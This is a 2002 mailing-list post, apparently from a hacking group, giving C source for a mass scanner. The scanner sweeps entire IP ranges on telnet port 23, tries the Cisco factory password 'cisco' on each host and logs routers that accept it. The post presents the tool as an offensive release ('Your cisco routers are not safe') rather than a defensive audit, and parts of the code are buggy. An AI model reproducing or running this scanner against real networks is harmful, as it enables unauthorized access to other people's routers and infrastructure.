From: es at hush.com (es@...h.com)
Subject: [ElectronicSouls] Cisco scanner

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Your cisco routers are not safe.


/* 4553-Cisco Scanner
Cisco Scanner will scan for Cisco Routers
that still got their default password set.
*/

#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/uio.h>
#include <netdb.h>
#include <errno.h>
#include <unistd.h>

#define ES struct sockaddr
#define SIZE sizeof(struct sockaddr_in)
#define ADDR 16

int ConnectCheck(struct sockaddr_in, int);

const char *ipv4_ntop(int, const void *, char *, size_t);
FILE *stream;

int main(int argc, char *argv[])
{
   int i=0,
       o=0,
       p=0,
       status,
       childs=120,
       timeout=5,
       class=0;

   char IP[15],*NET,c;
   struct sockaddr_in DestAddress;

   if(argc < 3)
   {
     printf("  0x4553\n");
     printf("  usage: %s <IP> <class> [option]\n",argv[0]);
     printf("    class A : %s 234 A           \n",argv[0]);
     printf("    class B : %s 234.10 B        \n",argv[0]);
     printf("    class C : %s 234.10.23 C     \n",argv[0]);
     printf("    -c childs                    \n");
     printf("    -t timeout                   \n");
     printf("  Output: enable.cisco         \n\n");
     exit(1);
   }

   NET    = argv[1];
   class  = argv[2];
   opterr = 0;

   while((c = getopt(argc, argv, "c:t:")) != -1)
   {
      switch(c)
      {
         case 'c':
                   childs = atoi(optarg);
                   break;
         case 't': timeout = atoi(optarg);
                   break;
      }
   }

   if(childs < 1)
   {
      printf("invalid number of childs\n");
      exit(1);
    }

   if(timeout < 1)
   {
       printf("invalid timeout\n");
       exit(1);
    }

   printf("\n\n-= 0x4553 Cisco Hacker                           =-\n");
   printf("-= scan's for cisco's with factory password set. =-\n");
   printf("-= (C) ElectronicSouls.                          =-\n\n");

   if (class=="A")
   fprintf(stderr, "Scanning: %s.*.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n",NET,childs,timeout);

   if (class=="B")
   fprintf(stderr,"Scanning: %s.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n", NET,childs,timeout);

   if (class=="C")
   fprintf(stderr,"Scanning: %s.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n",NET,childs,timeout);

   DestAddress.sin_family = AF_INET;
   DestAddress.sin_port = htons(23);

  if (class=="A")
  {
       for(p = 0;
           p < 256;
           p++)
  {
       for(o = 0;
           o < 256;
           o++)
  {
       for(i = 0;
           i < 256;
           i++)
  {
       if (i > childs || o > 0 || p > 0 )
       {
          wait(&status);
       }
      sprintf(IP, "%s.%d.%d.%d", NET,p,o,i);
      inet_aton(IP, &DestAddress.sin_addr);
      if(!fork()) ConnectCheck(DestAddress, timeout);
   }
  }
 }
}
   if (class=="B")
   {
    for(o = 0;
        o < 256;
        o++)
   {
    for(i = 0;
        i < 256;
        i++)
   {
   if (i > childs || o > 0)
   {
    wait(&status);
   }
    sprintf(IP, "%s.%d.%d", NET,o,i);
    inet_aton(IP, &DestAddress.sin_addr);
    if(!fork()) ConnectCheck(DestAddress, timeout);
   }
  }
 }

 if (class=="C")
 {
   for(i = 0;
       i < 256;
       i++)
 {
      if (i > childs)
      {
        wait(&status);
      }
      sprintf(IP, "%s.%d", NET, i);
      inet_aton(IP, &DestAddress.sin_addr);
      if(!fork()) ConnectCheck(DestAddress, timeout);
   }
   }

   for(;;)
   {
      if((waitpid(-1, &status, WNOHANG) == -1) && (errno == ECHILD))
      exit(0);
  }

}

int ConnectCheck(struct sockaddr_in DestAddr, int timeout)
{
   int result,ret,sock;
   char Hostname[60],buffer1[64],buffer2[64];

   if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) exit (EXIT_FAILURE);
   alarm(timeout);

   result = connect(sock, (ES *)&DestAddr, SIZE);
   if (!result)
   {
      alarm(timeout);
      memset(buffer1, '\0', 64);
      memset(buffer2, '\0', 64);

   if ((ret = read(sock, buffer1, 64))  > 0)
   {
      ret = read(sock, buffer1, 64);
      send(sock,"cisco\r",6,0);
      ret = read(sock, buffer2, 64);

      if( (memcmp(buffer2,"\r\nPass",6)) && !(memcmp(buffer1,"\r\n\r\nUser Access Verification\r\n\r\nPassword",40)))
   {
      stream = fopen("enable.cisco","a");
      printf("[!] -- Cisco found: %s --\n",ipv4_ntop(AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59));
      fprintf(stream,"%s\n", ipv4_ntop(AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59));
      fclose(stream);
    }
    }
      close(sock);
  }
   exit(0);
}

const char *
ipv4_ntop(int family, const void *addrptr, char *strptr, size_t len)
{
   const u_char *es = (const u_char *)addrptr;
   if(family == AF_INET)
   {
      char temp[ADDR];
      snprintf(temp, sizeof(temp), "%d.%d.%d.%d", es[0], es[1], es[2], es[3]);
      strcpy(strptr, temp);
      return(strptr);
   }
   printf("Address family not supported by protocol.\n");
   return(0);
}

The Electronic Souls Crew
[ElectronicSouls] (c) 2002

"Talking to me, punk?"





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